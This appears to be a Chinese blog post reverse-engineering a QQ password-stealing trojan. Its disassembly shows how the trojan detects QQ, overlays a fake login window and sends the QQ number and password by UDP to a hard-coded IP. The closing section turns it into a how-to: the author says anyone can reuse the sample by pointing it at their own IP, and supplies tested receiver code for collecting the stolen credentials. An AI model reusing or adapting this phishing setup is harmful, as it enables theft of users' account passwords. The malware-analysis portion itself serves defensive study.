zoukankan      html  css  js  c++  java
  • 一个QQ木马的逆向分析浅谈(附带源码)

    程序流程:
    首先注册自己程序的窗口以及类等一系列窗口操作,安装了一个定时器,间隔为100ms,功能搜索QQ的类名,如果找到就利用FindWindow("5B3838F5-0C81-46D9-A4C0-6EA28CA3E942", NULL)找到当前运行的QQ号,之后隐藏QQ主界面,弹出自己的界面,利用socket发送输入的密码到指定的IP、端口,达到窃取用户的QQ密码。
    程序很简单不过,不过代码确实有点多,不过很多都是多是对字符串的操作,动态就直接无视吧。

    具体分析:
    我们向下观察就可以直接来到main
    main函数代码很少,就这么少。不过当然代码基本都在消息处理窗口。
    首先来到004029CA这call,利用IDA强大功能,很容易的找到窗口回调函数的地址是0x4034b0
    .text:00402C0E                 mov     [ebp+var_34.cbSize], 30h
    .text:00402C15                 mov     [ebp+var_34.style], 3
    .text:00402C1C                 mov     [ebp+var_34.lpfnWndProc], offset sub_4034B0 ; 消息回调函数
    .text:00402C23                 mov     [ebp+var_34.cbClsExtra], 0
    .text:00402C2A                 mov     [ebp+var_34.cbWndExtra], 0
    .text:00402C31                 mov     eax, [ebp+hInstance]

    接着来到004029DA  |.  E8 21030000   call 同学假日.00402D00  这个call
    创建程序主窗口,标题为sadd,类名为SADD,代码如下
    00402D55   .  68 B0F14500   push 同学假日.0045F1B0                       ; |sadd
    00402D5A   .  68 E8F04500   push 同学假日.0045F0E8                       ; |SADD
    00402D5F   .  68 80000000   push 0x80                                ;  
    00402D64   .  FF15 E4E14400 call dword ptr ds:[<&USER32.CreateWindow>;

    接着创建一个类名为Edit的编辑框,代码如下
    00402DC7   .  51            push ecx                                 ; |// Edit
    00402DC8   .  6A 00         push 0x0                                 ; |ExtStyle = 0
    00402DCA   .  FF15 E8E14400 call dword ptr ds:[<&USER32.CreateWindow>;

    接着还创建一个类名为Edit的编辑框,代码如下
    00402E0A   .  51            push ecx                                 ; |// Edit
    00402E0B   .  6A 00         push 0x0                                 ; |ExtStyle = 0
    00402E0D   .  FF15 E8E14400 call dword ptr ds:[<&USER32.CreateWindow>;

    接着安装了一个100ms的定时器,代码如下
    004033E8   .  6A 00         push 0x0                                 ; /Timerproc = NULL
    004033EA   .  6A 64         push 0x64                                ; |Timeout = 100. ms
    004033EC   .  6A 01         push 0x1                                 ; |TimerID = 1
    004033EE   .  8B45 F4       mov eax,dword ptr ss:[ebp-0xC]           ; |
    004033F1   .  50            push eax                                 ; |hWnd
    004033F2   .  FF15 F8E14400 call dword ptr ds:[<&USER32.SetTimer>]   ; SetTimer

    下面对一系列的字符串进行加密操作,代码如下
    00402FB7   > 68 04010000   push 0x104
    00402FBC   .  6A 00         push 0x0
    00402FBE   .  68 98F64500   push 同学假日.0045F698                       ;  TXGuiFoundation
    00402FC3   .  E8 48740000   call 同学假日.0040A410
    00402FC8   .  83C4 0C       add esp,0xC
    00402FCB   .  68 04010000   push 0x104
    00402FD0   .  6A 00         push 0x0
    00402FD2   .  68 90F54500   push 同学假日.0045F590
    00402FD7   .  E8 34740000   call 同学假日.0040A410
    00402FDC   .  83C4 0C       add esp,0xC
    00402FDF   .  68 04010000   push 0x104
    00402FE4   .  6A 00         push 0x0
    00402FE6   .  68 88F44500   push 同学假日.0045F488                       ;  a=x12x&b=_)&c=(*
    00402FEB   .  E8 20740000   call 同学假日.0040A410
    00402FF0   .  83C4 0C       add esp,0xC
    00402FF3   .  68 04010000   push 0x104
    00402FF8   .  6A 00         push 0x0
    00402FFA   .  68 80F34500   push 同学假日.0045F380                       ;  密码错误,请重新输入
    00402FFF   .  E8 0C740000   call 同学假日.0040A410
    00403004   .  83C4 0C       add esp,0xC
    00403007   .  68 04010000   push 0x104
    0040300C   .  6A 00         push 0x0
    0040300E   .  68 78F24500   push 同学假日.0045F278                       ;  密码验证成功
    00403013   .  E8 F8730000   call 同学假日.0040A410

    进入00403287   .  E8 34DEFFFF   call 同学假日.004010C0这个call
    首先创建了一个wanxinyi的互斥对象,保证程序只能有一个被运行,否则ExitProcess
    00401102   .  68 BCE34400   push 同学假日.0044E3BC                       ; /wanxinyi
    00401107   .  6A 00         push 0x0                                 ; |InitialOwner = FALSE
    00401109   .  6A 00         push 0x0                                 ; |pSecurity = NULL
    0040110B   .  FF15 74E04400 call dword ptr ds:[<&KERNEL32.CreateMute>;
    00401111   .  3BF4          cmp esi,esp
    00401113   .  E8 D88B0000   call 同学假日.00409CF0
    00401118   .  8945 E8       mov dword ptr ss:[ebp-0x18],eax
    0040111B   .  8BF4          mov esi,esp
    0040111D   .  FF15 D0E04400 call dword ptr ds:[<&KERNEL32.GetLastErr>;
    00401123   .  3BF4          cmp esi,esp
    00401125   .  E8 C68B0000   call 同学假日.00409CF0
    0040112A   .  3D B7000000   cmp eax,0xB7
    0040112F   .  75 11         jnz X同学假日.00401142
    00401131   .  8BF4          mov esi,esp
    00401133   .  6A 00         push 0x0                                 ; /ExitCode = 0

    接着读取sed文件的内容“amr”字符串内容
    0040115F   .  8BF4          mov esi,esp
    00401161   .  68 04010000   push 0x104                               ; /BufSize = 104 (260.)
    00401166   .  8D85 D0FEFFFF lea eax,dword ptr ss:[ebp-0x130]         ; |
    0040116C   .  50            push eax                                 ; |PathBuffer
    0040116D   .  6A 00         push 0x0                                 ; |hModule = NULL
    0040116F   .  FF15 D8E04400 call dword ptr ds:[<&KERNEL32.GetModuleF>; GetModuleFileNameA
    00401175   .  3BF4          cmp esi,esp
    00401177   .  E8 748B0000   call 同学假日.00409CF0
    0040117C   .  8D85 D0FEFFFF lea eax,dword ptr ss:[ebp-0x130]
    00401182   .  50            push eax
    00401183   .  8D8D A8FEFFFF lea ecx,dword ptr ss:[ebp-0x158]
    00401189   .  E8 F2260000   call 同学假日.00403880
    0040118E   .  C745 FC 00000>mov dword ptr ss:[ebp-0x4],0x0
    00401195   .  A1 B8E34400   mov eax,dword ptr ds:[0x44E3B8]
    0040119A   .  50            push eax
    0040119B   .  6A 5C         push 0x5C
    0040119D   .  8D8D A8FEFFFF lea ecx,dword ptr ss:[ebp-0x158]
    004011A3   .  E8 482B0000   call 同学假日.00403CF0
    004011A8   .  50            push eax
    004011A9   .  6A 00         push 0x0
    004011AB   .  8D8D 90FDFFFF lea ecx,dword ptr ss:[ebp-0x270]
    004011B1   .  51            push ecx
    004011B2   .  8D8D A8FEFFFF lea ecx,dword ptr ss:[ebp-0x158]
    004011B8   .  E8 832B0000   call 同学假日.00403D40
    004011BD   .  8985 88FDFFFF mov dword ptr ss:[ebp-0x278],eax
    004011C3   .  8B95 88FDFFFF mov edx,dword ptr ss:[ebp-0x278]
    004011C9   .  8995 84FDFFFF mov dword ptr ss:[ebp-0x27C],edx
    004011CF   .  C645 FC 01    mov byte ptr ss:[ebp-0x4],0x1
    004011D3   .  8B85 84FDFFFF mov eax,dword ptr ss:[ebp-0x27C]
    004011D9   .  50            push eax
    004011DA   .  8D8D A8FEFFFF lea ecx,dword ptr ss:[ebp-0x158]
    004011E0   .  E8 7B280000   call 同学假日.00403A60
    004011E5   .  C645 FC 00    mov byte ptr ss:[ebp-0x4],0x0
    004011E9   .  8D8D 90FDFFFF lea ecx,dword ptr ss:[ebp-0x270]
    004011EF   .  E8 DC270000   call 同学假日.004039D0
    004011F4   .  68 B0E34400   push 同学假日.0044E3B0                       ;  sed
    004011F9   .  8D8D A8FEFFFF lea ecx,dword ptr ss:[ebp-0x158]
    004011FF   .  E8 FC280000   call 同学假日.00403B00
    00401204   .  8D85 A8FEFFFF lea eax,dword ptr ss:[ebp-0x158]
    0040120A   .  50            push eax
    0040120B   .  B9 30FA4500   mov ecx,同学假日.0045FA30
    00401210   .  E8 4B280000   call 同学假日.00403A60
    00401215   .  8BF4          mov esi,esp
    00401217   .  6A 00         push 0x0
    00401219   .  68 80000000   push 0x80
    0040121E   .  6A 03         push 0x3
    00401220   .  6A 00         push 0x0
    00401222   .  6A 01         push 0x1
    00401224   .  68 00000080   push 0x80000000
    00401229   .  8D8D A8FEFFFF lea ecx,dword ptr ss:[ebp-0x158]
    0040122F   .  E8 7C290000   call 同学假日.00403BB0
    00401234   .  50            push eax                                 ; |FileName
    00401235   .  FF15 DCE04400 call dword ptr ds:[<&KERNEL32.CreateFile>; CreateFileA
    0040123B   .  3BF4          cmp esi,esp
    0040123D   .  E8 AE8A0000   call 同学假日.00409CF0
    00401242   .  8985 9CFEFFFF mov dword ptr ss:[ebp-0x164],eax
    00401248   .  83BD 9CFEFFFF>cmp dword ptr ss:[ebp-0x164],-0x1
    0040124F   .  75 27         jnz X同学假日.00401278
    00401251   .  C785 B8FDFFFF>mov dword ptr ss:[ebp-0x248],0x0
    0040125B   .  C745 FC FFFFF>mov dword ptr ss:[ebp-0x4],-0x1
    00401262   .  8D8D A8FEFFFF lea ecx,dword ptr ss:[ebp-0x158]
    00401268   .  E8 63270000   call 同学假日.004039D0
    0040126D   .  8B85 B8FDFFFF mov eax,dword ptr ss:[ebp-0x248]
    00401273   .  E9 A9000000   jmp 同学假日.00401321
    00401278   >  8BF4          mov esi,esp
    0040127A   .  6A 00         push 0x0                                 ; /pFileSizeHigh = NULL
    0040127C   .  8B85 9CFEFFFF mov eax,dword ptr ss:[ebp-0x164]         ; |
    00401282   .  50            push eax                                 ; |hFile
    00401283   .  FF15 E0E04400 call dword ptr ds:[<&KERNEL32.GetFileSiz>; GetFileSize
    00401289   .  3BF4          cmp esi,esp
    0040128B   .  E8 608A0000   call 同学假日.00409CF0
    00401290   .  8985 90FEFFFF mov dword ptr ss:[ebp-0x170],eax
    00401296   .  8B85 90FEFFFF mov eax,dword ptr ss:[ebp-0x170]
    0040129C   .  83E8 16       sub eax,0x16
    0040129F   .  8985 90FEFFFF mov dword ptr ss:[ebp-0x170],eax
    004012A5   .  8BF4          mov esi,esp
    004012A7   .  6A 00         push 0x0                                 ; /Origin = FILE_BEGIN
    004012A9   .  6A 00         push 0x0                                 ; |pOffsetHi = NULL
    004012AB   .  8B85 90FEFFFF mov eax,dword ptr ss:[ebp-0x170]         ; |
    004012B1   .  50            push eax                                 ; |OffsetLo
    004012B2   .  8B8D 9CFEFFFF mov ecx,dword ptr ss:[ebp-0x164]         ; |
    004012B8   .  51            push ecx                                 ; |hFile
    004012B9   .  FF15 E4E04400 call dword ptr ds:[<&KERNEL32.SetFilePoi>; SetFilePointer
    004012BF   .  3BF4          cmp esi,esp
    004012C1   .  E8 2A8A0000   call 同学假日.00409CF0
    004012C6   .  8BF4          mov esi,esp
    004012C8   .  6A 00         push 0x0                                 ; /pOverlapped = NULL
    004012CA   .  8D45 DC       lea eax,dword ptr ss:[ebp-0x24]          ; |
    004012CD   .  50            push eax                                 ; |pBytesRead
    004012CE   .  6A 06         push 0x6                                 ; |BytesToRead = 6
    004012D0   .  68 14FA4500   push 同学假日.0045FA14                       ; |amr
    004012D5   .  8B8D 9CFEFFFF mov ecx,dword ptr ss:[ebp-0x164]         ; |
    004012DB   .  51            push ecx                                 ; |hFile
    004012DC   .  FF15 E8E04400 call dword ptr ds:[<&KERNEL32.ReadFile>] ; ReadFile


    回到main函数就是消息循环了,此时我们来到消息处理函数4034b0处
    当程序收到0x113也就是WM_TIMER消息的时候,跳到0x004036F4
    0040350E  |.  81BD C4FDFFFF>cmp [local.143],0x113
    00403518  |.  0F84 D6010000 je 同学假日.004036F4
    0040351E  |.  83BD C4FDFFFF>cmp [local.143],0x2
    00403525  |.  0F84 D7010000 je 同学假日.00403702

    那我们就来到0x004036F4,代码如下
    004036F4  |> 8B45 08       mov eax,[arg.1]                          ;  // 消息等于0x113 WM_TIMER
    004036F7  |.  50            push eax
    004036F8  |.  E8 D3E6FFFF   call 同学假日.00401DD0  

    进入00401DD0这个CALL以后,再进入
    00401E10  |.  E8 1BFCFFFF   call 同学假日.00401A30
    动态获取GetForegroundWindow函数的地址
    00401B7D  |.  50            push eax                                 ; /ProcNameOrOrdinal
    00401B7E  |.  8B4D E0       mov ecx,[local.8]                        ; |
    00401B81  |.  51            push ecx                                 ; |hModule
    00401B82  |.  FF15 24E04400 call dword ptr ds:[<&KERNEL32.GetProcAdd>; GetProcAddress

    并且在下面调用
    00401B8F  |.  8945 D4       mov [local.11],eax
    00401B92  |.  837D D4 00    cmp [local.11],0x0
    00401B96  |.  75 04         jnz X同学假日.00401B9C
    00401B98  |.  33C0          xor eax,eax
    00401B9A  |.  EB 0C         jmp X同学假日.00401BA8
    00401B9C  |>  8BF4          mov esi,esp
    00401B9E  |.  FF55 D4       call [local.11]

    下面这个call类似,动态获取GetClassNameA(hwnd, LPSTR,INT)函数的地址,并且获取当前窗口的类名
    00401E45  |.  E8 C6FDFFFF   call 同学假日.00401C10

    接下来,当前窗口类名和QQ类名,进行比较
    00401E4D  |.  68 98F64500   push 同学假日.0045F698                       ;  TXGuiFoundation
    00401E52  |.  8D85 DCFEFFFF lea eax,[local.73]
    00401E58  |.  50            push eax
    00401E59  |.  E8 E2020000   call 同学假日.00402140                       ;  // compare
    00401E5E  |.  83C4 08       add esp,0x8                              ;  // 如果是TXGuiFoundation类名就继续向下执行,
    00401E61  |.  85C0          test eax,eax                             ;  // 否则就继续在WM_TIMER回调函数里继续寻找TXGuiFoundation
    00401E63  |.  0F84 58020000 je 同学假日.004020C1,

    运行到00401E63  这后,看堆栈信息
    0012F830   0012F994  ASCII "TXGuiFoundation"
    0012F834   0045F698  ASCII "TXGuiFoundation"
    两者相等,这里说明下,只要QQ在桌面,那么它就是激活的窗口。

    接着进入下面这个call
    00401E74      E8 57F6FFFF   call 同学假日.004014D0                       ;  
    这个call通过下面这样的形式获取到当前运行的QQ号
    HWND hwnd = FindWindow("5B3838F5-0C81-46D9-A4C0-6EA28CA3E942", NULL);
      if (hwnd != NULL)
      {
        //DWORD calcID;
        char szText[MAX_PATH] = {0};
        //QQ号,存在szText
        GetWindowText(hwnd, szText, MAX_PATH);
        printf("%s", szText);
        getchar();
      }
    //输出qqexchangewnd_shortcut_prefix_769628867

    Ctrl+F9走出这个call,后,就是对字符qqexchangewnd_shortcut_prefix_769628867进行截取的操作,获取到QQ好,然后填入到编辑框中。

    到此,WM_TIMER消息就分析完了

    接着分析0x202,WM_LBUTTONUP消息

    重载样本,利用OD搜索字符串,双击“a=x12x&b=_)&c=(*”字符串,找到断首,下断
    然后F9运行起来,此时弹出界面(运行的是最后QQ没有被隐藏,如果隐藏了,右键任务栏QQ图标,等几s就能弹出界面),输入密码123456,点击登录,程序就断了下来


    进入下面004025D9  的call,发现是对socket处理,进行发包操作,
     004025C3  |.  89A5 7CFEFFFF mov [local.97],esp
    004025C9  |.  68 10E44400   push 同学假日.0044E410                       ;  192.74.230.75
    004025CE  |.  E8 AD120000   call 同学假日.00403880
    004025D3  |.  8985 ACFDFFFF mov [local.149],eax
    004025D9  |.  E8 52FCFFFF   call 同学假日.00402230                       ;  // 密码错误

    F9运行会显示“密码错误,请重新输入”下面的界面


    重新输入程序又断了下来,此时依然进入进入下面004025D9  的call,就没提示错误了,发包也成功了。作者显示一个错误的目的就是收到两次用户名、密码,仅此而已。
    发送的数据格式为a=769628867&b=123456&c=amr,a=  QQ号&b=密码&c=amr,amr是从本样本的sed文件读取。运行完刚那个call,来到00402841,向下单步
     显示“密码验证成功”,并且隐藏样本界面,很简单,只是代码有点多。
    00402841  |.  E8 EAFBFFFF   call 同学假日.00402430
    00402846  |.  83C4 08       add esp,0x8
    00402849  |.  8BF4          mov esi,esp
    0040284B  |.  68 C5E34400   push 同学假日.0044E3C5                       ; /Text = ""
    00402850  |.  8B45 E8       mov eax,[local.6]                        ; |
    00402853  |.  50            push eax                                 ; |hWnd
    00402854  |.  FF15 24E24400 call dword ptr ds:[<&USER32.SetWindowTex>; SetWindowTextA
    0040285A  |.  3BF4          cmp esi,esp
    0040285C  |.  E8 8F740000   call 同学假日.00409CF0
    00402861  |.  8BF4          mov esi,esp
    00402863  |.  6A 00         push 0x0                                 ; /ShowState = SW_HIDE
    00402865  |.  8B45 08       mov eax,[arg.1]                          ; |
    00402868  |.  50            push eax                                 ; |hWnd
    00402869  |.  FF15 B0E14400 call dword ptr ds:[<&USER32.ShowWindow>] ; ShowWindow

    这个钓鱼样本,如果把发包的IP改成自己的IP,自己写个服务端,就可以自己用了。
    很简单,测试也成功了。UDP格式的。

    代码如下:
    引用:
    #include <WINSOCK2.H>
    #include "StdAfx.h"
    #include <stdio.h>
    #include <windows.h>
     
    #pragma comment(lib, "WS2_32.lib")        // 必须在头文件下面,否则报错
     
    void main()
    {
            WORD wVersionRequested;//版本号
            WSADATA wsaData;
            int err;
     
            wVersionRequested = MAKEWORD(2, 2);//2.2版本的套接字
            //加载套接字库,如果失败返回
            err = WSAStartup(wVersionRequested, &wsaData);
            if (err != 0)
            {
                    return;
            }
           
            //判断高低字节是不是2,如果不是2.2的版本则退出
            if (LOBYTE(wsaData.wVersion) != 2 ||
                     
                    HIBYTE(wsaData.wVersion) != 2)  
            {
                    return;
            }
          
            SOCKET socRecv = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
             
            //Socket地址结构体的创建
             
            SOCKADDR_IN addrSrv;
             
            addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//转换Unsigned long型为网络字节序格
            addrSrv.sin_family = AF_INET;//指定地址簇
            addrSrv.sin_port = ntohs(0x118C);        // 转换成host主机型的居然也可以连接,木马中是这样写的,所以按照这样
     
            bind(socRecv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR));//必须用sizeof,strlen不行
     
            SOCKADDR_IN addrClient;
            char szRecvBuffer[MAX_PATH] = {0};
            int len = sizeof(SOCKADDR);
            int iRevmNum = 0;
     
            while (1)
            {
                    iRevmNum = recvfrom(socRecv, szRecvBuffer, MAX_PATH, 0, (SOCKADDR*)&addrClient, &len);
                    if (0 == iRevmNum || iRevmNum == SOCKET_ERROR)
                    {
                            break;
                    }
                    printf("%s ", szRecvBuffer);
            }
            closesocket(socRecv);
            WSACleanup();
            fflush(stdin);
            getchar();
             
    }
    到此样本就分析完了。分析得很简单
    有不对的地方,忘大大们指点。
    图片没有上传,有几张图片,想看图的就看文档吧

    http://pan.baidu.com/share/link?shareid=3285701272&uk=3895584076

  • 相关阅读:
    百度地图API(二)
    Android开发--页面切换
    Android开发--Socket通信
    android开发--okhttp
    android开发--下载图片
    Android--Handler
    android开发--多线程
    android开发--Application
    android开发--ormlite
    android开发--数据库(更新或者降低版本)
  • 原文地址:https://www.cnblogs.com/microzone/p/3235995.html
Copyright © 2011-2022 走看看